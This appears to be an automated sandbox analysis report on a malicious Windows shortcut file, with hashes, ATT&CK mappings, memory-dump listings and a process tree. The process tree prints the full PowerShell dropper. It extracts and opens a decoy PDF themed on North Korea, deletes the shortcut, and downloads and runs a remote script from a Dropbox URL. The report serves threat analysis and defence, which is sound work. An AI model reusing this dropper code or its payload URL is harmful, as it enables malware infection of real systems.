34bd4834595e140c49529abdb5971f000b6750cf3315e63fe9ca95cd2347f9f2

General

Target

34bd4834595e140c49529abdb5971f000b6750cf3315e63fe9ca95cd2347f9f2.lnk
Size

1.7MB
MD5

21e6ec6dd1e6d3b7abfda04e9189d72d
SHA1

11db057a906824897c8fabcc42f0ba7f88e04f81
SHA256

34bd4834595e140c49529abdb5971f000b6750cf3315e63fe9ca95cd2347f9f2
SHA512

a741dc0b33a8ab2860f4279563b2baf29ab74e9f0d7a033fc39ffe3d0969d5e3cc8ec77b1e9ff4051a0ec83f267ff6ab2980bbafb90f3d7e4f5663ae4aac4190
SSDEEP

24576:b74C5wFv9TW5mFiS3h+nP8etAercYKyLgLgybuEDcqbzZBqnATq9HlMhwLo:QC6LBFiS301AYwsySED9bzyFghwM

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://dl.dropboxusercontent.com/scl/fi/rcrb1ffz4k4pdxpuqluz7/september.txt?rlkey=ja42pzxka70vflanu9xkgmoj8&dl=0

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
27	4780	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4780	powershell.exe
4780	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4780	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 4960 wrote to memory of 4980	4960	cmd.exe	89
PID 4960 wrote to memory of 4980	4960	cmd.exe	89
PID 4960 wrote to memory of 4980	4960	cmd.exe	89
PID 4980 wrote to memory of 4620	4980	cmd.exe	90
PID 4980 wrote to memory of 4620	4980	cmd.exe	90
PID 4980 wrote to memory of 4620	4980	cmd.exe	90
PID 4980 wrote to memory of 4780	4980	cmd.exe	92
PID 4980 wrote to memory of 4780	4980	cmd.exe	92
PID 4980 wrote to memory of 4780	4980	cmd.exe	92

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\34bd4834595e140c49529abdb5971f000b6750cf3315e63fe9ca95cd2347f9f2.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4960
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\SysWOW64\cmd.exe" /k for /f "tokens=*" %a in ('dir C:\Windows\SysWow64\*rshell.exe /s /b /od') do call %a -WindowStyle Minimized "$DirPath=Get-Location;if ($DirPath -Match 'System32' -or $DirPath -Match 'Program Files' -or $DirPath -eq '') { $DirPath = $env:TEMP; } $Files = Get-ChildItem -Path $DirPath -Recurse -Filter 'General view of North Korea 240226.lnk';$lnkFilePath = '';foreach ($File in $Files) {$lnkFilePath = $File.FullName;};$startAddress = 0; $fileBytes = Get-Content -Path $lnkFilePath -Encoding Byte -Raw;$a5=0x50;$b4=0x4b;$c3=0x03;$d4=0x04; for ($i = 0; $i -lt $fileBytes.Length; $i++){ if ($fileBytes[$i] -eq $a5){if ($fileBytes[$i+1] -eq $b4){if ($fileBytes[$i+2] -eq $c3){if ($fileBytes[$i+3] -eq $d4){$startAddress = $i + 4 ;break;}}}}}$byteCount = 24941643;$NormalFileName = $lnkFilePath -replace 'lnk', 'pdf';$selectedBytes = $fileBytes[$startAddress..($startAddress + $byteCount - 1)];Set-Content -Path $NormalFileName -Value $selectedBytes -Encoding Byte; ii $NormalFileName; $i = $i + $byteCount;for ($j = $i; $j -lt $fileBytes.Length; $j++){ if ($fileBytes[$j] -eq 0x55){if ($fileBytes[$j+1] -eq 0x8B){if ($fileBytes[$j+2] -eq 0xEC){if ($fileBytes[$j+3] -eq 0x83){$SecondAddress = $j;break;}}}}}$byteCount=889858; $Resource = $fileBytes[$SecondAddress..($SecondAddress + $byteCount - 1)];Remove-Item -Path $lnkFilePath -Recurse -Force; $webClient = New-Object Net.WebClient;$string = $webClient.DownloadString('https://dl.dropboxusercontent.com/scl/fi/rcrb1ffz4k4pdxpuqluz7/september.txt?rlkey=ja42pzxka70vflanu9xkgmoj8&dl=0');$scriptBlock = [scriptblock]::Create($string);& $scriptBlock;" && cls &&exit
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4980
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c dir C:\Windows\SysWow64\*rshell.exe /s /b /od
    3⤵
    PID:4620
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Minimized "$DirPath=Get-Location;if ($DirPath -Match 'System32' -or $DirPath -Match 'Program Files' -or $DirPath -eq '') { $DirPath = $env:TEMP; } $Files = Get-ChildItem -Path $DirPath -Recurse -Filter 'General view of North Korea 240226.lnk';$lnkFilePath = '';foreach ($File in $Files) {$lnkFilePath = $File.FullName;};$startAddress = 0; $fileBytes = Get-Content -Path $lnkFilePath -Encoding Byte -Raw;$a5=0x50;$b4=0x4b;$c3=0x03;$d4=0x04; for ($i = 0; $i -lt $fileBytes.Length; $i++){ if ($fileBytes[$i] -eq $a5){if ($fileBytes[$i+1] -eq $b4){if ($fileBytes[$i+2] -eq $c3){if ($fileBytes[$i+3] -eq $d4){$startAddress = $i + 4 ;break;}}}}}$byteCount = 24941643;$NormalFileName = $lnkFilePath -replace 'lnk', 'pdf';$selectedBytes = $fileBytes[$startAddress..($startAddress + $byteCount - 1)];Set-Content -Path $NormalFileName -Value $selectedBytes -Encoding Byte; ii $NormalFileName; $i = $i + $byteCount;for ($j = $i; $j -lt $fileBytes.Length; $j++){ if ($fileBytes[$j] -eq 0x55){if ($fileBytes[$j+1] -eq 0x8B){if ($fileBytes[$j+2] -eq 0xEC){if ($fileBytes[$j+3] -eq 0x83){$SecondAddress = $j;break;}}}}}$byteCount=889858; $Resource = $fileBytes[$SecondAddress..($SecondAddress + $byteCount - 1)];Remove-Item -Path $lnkFilePath -Recurse -Force; $webClient = New-Object Net.WebClient;$string = $webClient.DownloadString('https://dl.dropboxusercontent.com/scl/fi/rcrb1ffz4k4pdxpuqluz7/september.txt?rlkey=ja42pzxka70vflanu9xkgmoj8&dl=0');$scriptBlock = [scriptblock]::Create($string);& $scriptBlock;"
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4780

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_a3kbhye4.0fb.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4780-4-0x00000000058D0000-0x0000000005EF8000-memory.dmp

Filesize
6.2MB

Download
memory/4780-18-0x00000000067C0000-0x00000000067DE000-memory.dmp

Filesize
120KB

Download
memory/4780-3-0x0000000003170000-0x0000000003180000-memory.dmp

Filesize
64KB

Download
memory/4780-1-0x0000000074FD0000-0x0000000075780000-memory.dmp

Filesize
7.7MB

Download
memory/4780-5-0x0000000005F00000-0x0000000005F22000-memory.dmp

Filesize
136KB

Download
memory/4780-6-0x0000000005FA0000-0x0000000006006000-memory.dmp

Filesize
408KB

Download
memory/4780-7-0x0000000006140000-0x00000000061A6000-memory.dmp

Filesize
408KB

Download
memory/4780-0-0x00000000031C0000-0x00000000031F6000-memory.dmp

Filesize
216KB

Download
memory/4780-2-0x0000000003170000-0x0000000003180000-memory.dmp

Filesize
64KB

Download
memory/4780-19-0x0000000006850000-0x000000000689C000-memory.dmp

Filesize
304KB

Download
memory/4780-13-0x00000000061B0000-0x0000000006504000-memory.dmp

Filesize
3.3MB

Download
memory/4780-21-0x0000000006CD0000-0x0000000006CEA000-memory.dmp

Filesize
104KB

Download
memory/4780-20-0x0000000007770000-0x0000000007806000-memory.dmp

Filesize
600KB

Download
memory/4780-22-0x0000000006D50000-0x0000000006D72000-memory.dmp

Filesize
136KB

Download
memory/4780-23-0x0000000007DC0000-0x0000000008364000-memory.dmp

Filesize
5.6MB

Download
memory/4780-24-0x00000000089F0000-0x000000000906A000-memory.dmp

Filesize
6.5MB

Download
memory/4780-27-0x0000000074FD0000-0x0000000075780000-memory.dmp

Filesize
7.7MB

Download

Analysis

Sharing